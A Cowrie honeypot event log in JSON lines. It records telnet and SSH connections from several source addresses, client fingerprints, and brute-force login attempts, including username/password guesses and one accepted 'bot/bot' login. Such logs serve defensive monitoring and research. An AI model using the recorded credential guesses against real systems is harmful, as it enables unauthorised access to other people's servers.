{"eventid":"cowrie.session.closed","duration":2.562781572341919,"message":"Connection lost after 2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T11:07:47.881732Z","src_ip":"198.163.193.159","session":"8f89f49ba944","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"41.76.108.55","src_port":53724,"dst_ip":"159.203.135.109","dst_port":23,"session":"8a138ab0ea53","protocol":"telnet","message":"New connection: 41.76.108.55:53724 (159.203.135.109:23) [session: 8a138ab0ea53]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T11:07:49.597839Z"}
{"eventid":"cowrie.session.closed","duration":31.447489738464355,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T11:07:49.845344Z","src_ip":"41.76.108.55","session":"8dac40fc9d6a","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.394200801849365,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T11:07:50.148072Z","src_ip":"41.76.108.55","session":"3c585800f415","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.50174045562744,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T11:07:50.155253Z","src_ip":"41.76.108.55","session":"346a1a6ae8de","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"15.204.204.191","src_port":36598,"dst_ip":"10.17.0.5","dst_port":23,"session":"ef4ea8b33fac","protocol":"telnet","message":"New connection: 15.204.204.191:36598 (10.17.0.5:23) [session: ef4ea8b33fac]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T11:07:50.642919Z"}
{"eventid":"cowrie.session.connect","src_ip":"15.204.204.191","src_port":36612,"dst_ip":"10.17.0.5","dst_port":23,"session":"d440482562bc","protocol":"telnet","message":"New connection: 15.204.204.191:36612 (10.17.0.5:23) [session: d440482562bc]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T11:07:51.127726Z"}
{"eventid":"cowrie.session.connect","src_ip":"41.76.108.55","src_port":33812,"dst_ip":"159.203.135.109","dst_port":23,"session":"fbf9979b616a","protocol":"telnet","message":"New connection: 41.76.108.55:33812 (159.203.135.109:23) [session: fbf9979b616a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T11:07:51.523050Z"}
{"eventid":"cowrie.session.connect","src_ip":"15.204.204.191","src_port":54264,"dst_ip":"10.17.0.5","dst_port":23,"session":"a6cdd16a2afe","protocol":"telnet","message":"New connection: 15.204.204.191:54264 (10.17.0.5:23) [session: a6cdd16a2afe]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T11:07:53.235998Z"}
{"eventid":"cowrie.session.connect","src_ip":"159.223.45.177","src_port":50174,"dst_ip":"159.203.135.109","dst_port":22,"session":"c5d9dba95e9d","protocol":"ssh","message":"New connection: 159.223.45.177:50174 (159.203.135.109:22) [session: c5d9dba95e9d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T11:07:54.072442Z"}
{"eventid":"cowrie.session.connect","src_ip":"41.76.108.55","src_port":47922,"dst_ip":"159.203.135.109","dst_port":23,"session":"10f8bb85fd95","protocol":"telnet","message":"New connection: 41.76.108.55:47922 (159.203.135.109:23) [session: 10f8bb85fd95]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T11:07:54.818685Z"}
{"eventid":"cowrie.session.closed","duration":30.592822551727295,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T11:07:55.131525Z","src_ip":"41.76.108.55","session":"5db5c1620b90","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.841566562652588,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T11:07:56.012230Z","src_ip":"15.204.204.191","session":"1ac6fb95947f","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"41.76.108.55","src_port":53530,"dst_ip":"159.203.135.109","dst_port":23,"session":"22bcf9c2de39","protocol":"telnet","message":"New connection: 41.76.108.55:53530 (159.203.135.109:23) [session: 22bcf9c2de39]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T11:07:56.130849Z"}
{"eventid":"cowrie.session.connect","src_ip":"41.76.108.55","src_port":56048,"dst_ip":"159.203.135.109","dst_port":23,"session":"32b0137b0976","protocol":"telnet","message":"New connection: 41.76.108.55:56048 (159.203.135.109:23) [session: 32b0137b0976]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T11:07:56.690347Z"}
{"eventid":"cowrie.session.closed","duration":"2.8","message":"Connection lost after 2.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T11:07:56.839014Z","src_ip":"159.223.45.177","session":"c5d9dba95e9d","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":30.69737958908081,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T11:07:57.142018Z","src_ip":"41.76.108.55","session":"0bea09c9ad2c","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.56339716911316,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T11:07:57.164541Z","src_ip":"41.76.108.55","session":"9b9025fe8061","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.510035753250122,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T11:07:57.294207Z","src_ip":"41.76.108.55","session":"a2b652e534b8","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"41.76.108.55","src_port":32864,"dst_ip":"159.203.135.109","dst_port":23,"session":"563b4b8c3553","protocol":"telnet","message":"New connection: 41.76.108.55:32864 (159.203.135.109:23) [session: 563b4b8c3553]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T11:07:57.909615Z"}
{"eventid":"cowrie.session.closed","duration":30.819040060043335,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T11:07:59.143543Z","src_ip":"41.76.108.55","session":"c1d9867f2e02","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.538862466812134,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T11:07:59.175303Z","src_ip":"15.204.204.191","session":"1d9299c061d1","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"41.76.108.55","src_port":37958,"dst_ip":"159.203.135.109","dst_port":23,"session":"2570ae0ce341","protocol":"telnet","message":"New connection: 41.76.108.55:37958 (159.203.135.109:23) [session: 2570ae0ce341]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T11:07:59.234459Z"}
{"eventid":"cowrie.session.connect","src_ip":"15.204.204.191","src_port":54268,"dst_ip":"10.17.0.5","dst_port":23,"session":"16060bad9ac5","protocol":"telnet","message":"New connection: 15.204.204.191:54268 (10.17.0.5:23) [session: 16060bad9ac5]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T11:07:59.455126Z"}
{"eventid":"cowrie.session.connect","src_ip":"15.204.204.191","src_port":54282,"dst_ip":"10.17.0.5","dst_port":23,"session":"1b8e120417ac","protocol":"telnet","message":"New connection: 15.204.204.191:54282 (10.17.0.5:23) [session: 1b8e120417ac]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T11:07:59.465931Z"}
{"eventid":"cowrie.session.connect","src_ip":"210.114.22.126","src_port":50240,"dst_ip":"10.17.0.5","dst_port":22,"session":"cf568daeadd1","protocol":"ssh","message":"New connection: 210.114.22.126:50240 (10.17.0.5:22) [session: cf568daeadd1]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T11:07:59.653347Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T11:07:59.754006Z","src_ip":"210.114.22.126","session":"cf568daeadd1","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T11:07:59.953390Z","src_ip":"210.114.22.126","session":"cf568daeadd1","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"15.204.204.191","src_port":54294,"dst_ip":"10.17.0.5","dst_port":23,"session":"415e16d25011","protocol":"telnet","message":"New connection: 15.204.204.191:54294 (10.17.0.5:23) [session: 415e16d25011]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T11:08:00.196754Z"}
{"eventid":"cowrie.session.closed","duration":30.930901288986206,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T11:08:00.231007Z","src_ip":"41.76.108.55","session":"b18f22f5ca03","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"15.204.204.191","src_port":54300,"dst_ip":"10.17.0.5","dst_port":23,"session":"1b91138d9495","protocol":"telnet","message":"New connection: 15.204.204.191:54300 (10.17.0.5:23) [session: 1b91138d9495]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T11:08:00.266331Z"}
{"eventid":"cowrie.session.connect","src_ip":"15.204.204.191","src_port":54306,"dst_ip":"10.17.0.5","dst_port":23,"session":"c33b885353c0","protocol":"telnet","message":"New connection: 15.204.204.191:54306 (10.17.0.5:23) [session: c33b885353c0]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T11:08:00.305315Z"}
{"eventid":"cowrie.session.connect","src_ip":"41.76.108.55","src_port":42990,"dst_ip":"159.203.135.109","dst_port":23,"session":"d593bd36e088","protocol":"telnet","message":"New connection: 41.76.108.55:42990 (159.203.135.109:23) [session: d593bd36e088]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T11:08:00.461290Z"}
{"eventid":"cowrie.session.closed","duration":30.81192684173584,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T11:08:01.061170Z","src_ip":"15.204.204.191","session":"03f5045659ff","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.261009693145752,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T11:08:01.065787Z","src_ip":"15.204.204.191","session":"3f77ddea723c","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"15.204.204.191","src_port":54322,"dst_ip":"10.17.0.5","dst_port":23,"session":"d46edf8c4392","protocol":"telnet","message":"New connection: 15.204.204.191:54322 (10.17.0.5:23) [session: d46edf8c4392]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T11:08:01.112550Z"}
{"eventid":"cowrie.login.failed","username":"cephuser","password":"cephuser","message":"login attempt [cephuser/cephuser] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T11:08:01.168741Z","src_ip":"210.114.22.126","session":"cf568daeadd1","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":31.21438193321228,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T11:08:01.279316Z","src_ip":"41.76.108.55","session":"26327a682848","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"41.76.108.55","src_port":49282,"dst_ip":"159.203.135.109","dst_port":23,"session":"db04c4d92052","protocol":"telnet","message":"New connection: 41.76.108.55:49282 (159.203.135.109:23) [session: db04c4d92052]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T11:08:01.989101Z"}
{"eventid":"cowrie.session.closed","duration":"2.9","message":"Connection lost after 2.9 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T11:08:02.569490Z","src_ip":"210.114.22.126","session":"cf568daeadd1","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":30.158440113067627,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T11:08:03.026319Z","src_ip":"15.204.204.191","session":"75ee48177e8f","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.276974201202393,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T11:08:03.136536Z","src_ip":"41.76.108.55","session":"501c7000e762","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.296874284744263,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T11:08:03.242714Z","src_ip":"41.76.108.55","session":"89f53f705c3d","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.688785552978516,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T11:08:03.300531Z","src_ip":"15.204.204.191","session":"def1eeed0eee","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"41.76.108.55","src_port":56702,"dst_ip":"159.203.135.109","dst_port":23,"session":"ac905e53de0d","protocol":"telnet","message":"New connection: 41.76.108.55:56702 (159.203.135.109:23) [session: ac905e53de0d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T11:08:03.839393Z"}
{"eventid":"cowrie.session.connect","src_ip":"122.168.114.167","src_port":53984,"dst_ip":"159.203.135.109","dst_port":22,"session":"8d82a9cd0ce2","protocol":"ssh","message":"New connection: 122.168.114.167:53984 (159.203.135.109:22) [session: 8d82a9cd0ce2]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T11:08:04.353405Z"}
{"eventid":"cowrie.session.connect","src_ip":"41.76.108.55","src_port":60728,"dst_ip":"159.203.135.109","dst_port":23,"session":"c9aa5e7da89d","protocol":"telnet","message":"New connection: 41.76.108.55:60728 (159.203.135.109:23) [session: c9aa5e7da89d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T11:08:04.851072Z"}
{"eventid":"cowrie.session.closed","duration":30.432640314102173,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T11:08:05.260777Z","src_ip":"41.76.108.55","session":"9b28726ea10c","protocol":"telnet"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T11:08:05.348879Z","src_ip":"122.168.114.167","session":"8d82a9cd0ce2","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T11:08:05.353733Z","src_ip":"122.168.114.167","session":"8d82a9cd0ce2","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"2.57.121.25","src_port":39016,"dst_ip":"159.203.135.109","dst_port":22,"session":"f4fc0ac7d522","protocol":"ssh","message":"New connection: 2.57.121.25:39016 (159.203.135.109:22) [session: f4fc0ac7d522]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T11:08:05.902864Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh2_1.9.0","message":"Remote SSH version: SSH-2.0-libssh2_1.9.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T11:08:06.133523Z","src_ip":"2.57.121.25","session":"f4fc0ac7d522","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"41.76.108.55","src_port":37828,"dst_ip":"159.203.135.109","dst_port":23,"session":"231e8e971ce8","protocol":"telnet","message":"New connection: 41.76.108.55:37828 (159.203.135.109:23) [session: 231e8e971ce8]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T11:08:06.140516Z"}
{"eventid":"cowrie.session.closed","duration":31.22804594039917,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T11:08:06.183812Z","src_ip":"41.76.108.55","session":"31854b363ac7","protocol":"telnet"}
{"eventid":"cowrie.client.kex","hassh":"57446c12547a668110aa237e5965e374","hasshAlgorithms":"ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,curve25519-sha256,curve25519-sha256@libssh.org,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1;aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-cbc,aes128-cbc,blowfish-cbc,arcfour128,arcfour,cast128-cbc,3des-cbc;hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96,hmac-md5,hmac-md5-96,hmac-ripemd160,hmac-ripemd160@openssh.com;none","kexAlgs":["ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","curve25519-sha256","curve25519-sha256@libssh.org","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1"],"keyAlgs":["ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519","ssh-rsa","ssh-dss"],"encCS":["aes128-ctr","aes192-ctr","aes256-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-cbc","aes128-cbc","blowfish-cbc","arcfour128","arcfour","cast128-cbc","3des-cbc"],"macCS":["hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96","hmac-md5","hmac-md5-96","hmac-ripemd160","hmac-ripemd160@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 57446c12547a668110aa237e5965e374","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T11:08:06.230248Z","src_ip":"2.57.121.25","session":"f4fc0ac7d522","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"user","password":"cobraya","message":"login attempt [user/cobraya] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T11:08:06.648310Z","src_ip":"2.57.121.25","session":"f4fc0ac7d522","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":30.852230310440063,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T11:08:07.023558Z","src_ip":"15.204.204.191","session":"1a127d87cb81","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.812514543533325,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T11:08:07.028858Z","src_ip":"15.204.204.191","session":"b625857360a3","protocol":"telnet"}
{"eventid":"cowrie.login.failed","username":"user","password":"cntgfy","message":"login attempt [user/cntgfy] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T11:08:07.748205Z","src_ip":"2.57.121.25","session":"f4fc0ac7d522","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"41.76.108.55","src_port":45066,"dst_ip":"159.203.135.109","dst_port":23,"session":"11bc220dcbb6","protocol":"telnet","message":"New connection: 41.76.108.55:45066 (159.203.135.109:23) [session: 11bc220dcbb6]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T11:08:07.860123Z"}
{"eventid":"cowrie.session.closed","duration":30.52557635307312,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T11:08:08.011610Z","src_ip":"15.204.204.191","session":"f9462eed24d1","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.378493070602417,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T11:08:08.051352Z","src_ip":"15.204.204.191","session":"08241a820a0c","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"15.204.204.191","src_port":44508,"dst_ip":"10.17.0.5","dst_port":23,"session":"50eb5485fcff","protocol":"telnet","message":"New connection: 15.204.204.191:44508 (10.17.0.5:23) [session: 50eb5485fcff]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T11:08:08.304930Z"}
{"eventid":"cowrie.login.failed","username":"user","password":"clara","message":"login attempt [user/clara] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T11:08:08.846582Z","src_ip":"2.57.121.25","session":"f4fc0ac7d522","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"user","password":"cipher","message":"login attempt [user/cipher] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T11:08:09.947319Z","src_ip":"2.57.121.25","session":"f4fc0ac7d522","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"bot","password":"bot","message":"login attempt [bot/bot] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T11:08:10.850091Z","src_ip":"122.168.114.167","session":"8d82a9cd0ce2","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"41.76.108.55","src_port":57670,"dst_ip":"159.203.135.109","dst_port":23,"session":"05d9cfaa94de","protocol":"telnet","message":"New connection: 41.76.108.55:57670 (159.203.135.109:23) [session: 05d9cfaa94de]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T11:08:10.964299Z"}
{"eventid":"cowrie.login.failed","username":"user","password":"christel","message":"login attempt [user/christel] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T11:08:11.046126Z","src_ip":"2.57.121.25","session":"f4fc0ac7d522","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"41.76.108.55","src_port":59202,"dst_ip":"159.203.135.109","dst_port":23,"session":"581b930a4b86","protocol":"telnet","message":"New connection: 41.76.108.55:59202 (159.203.135.109:23) [session: 581b930a4b86]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T11:08:11.384887Z"}
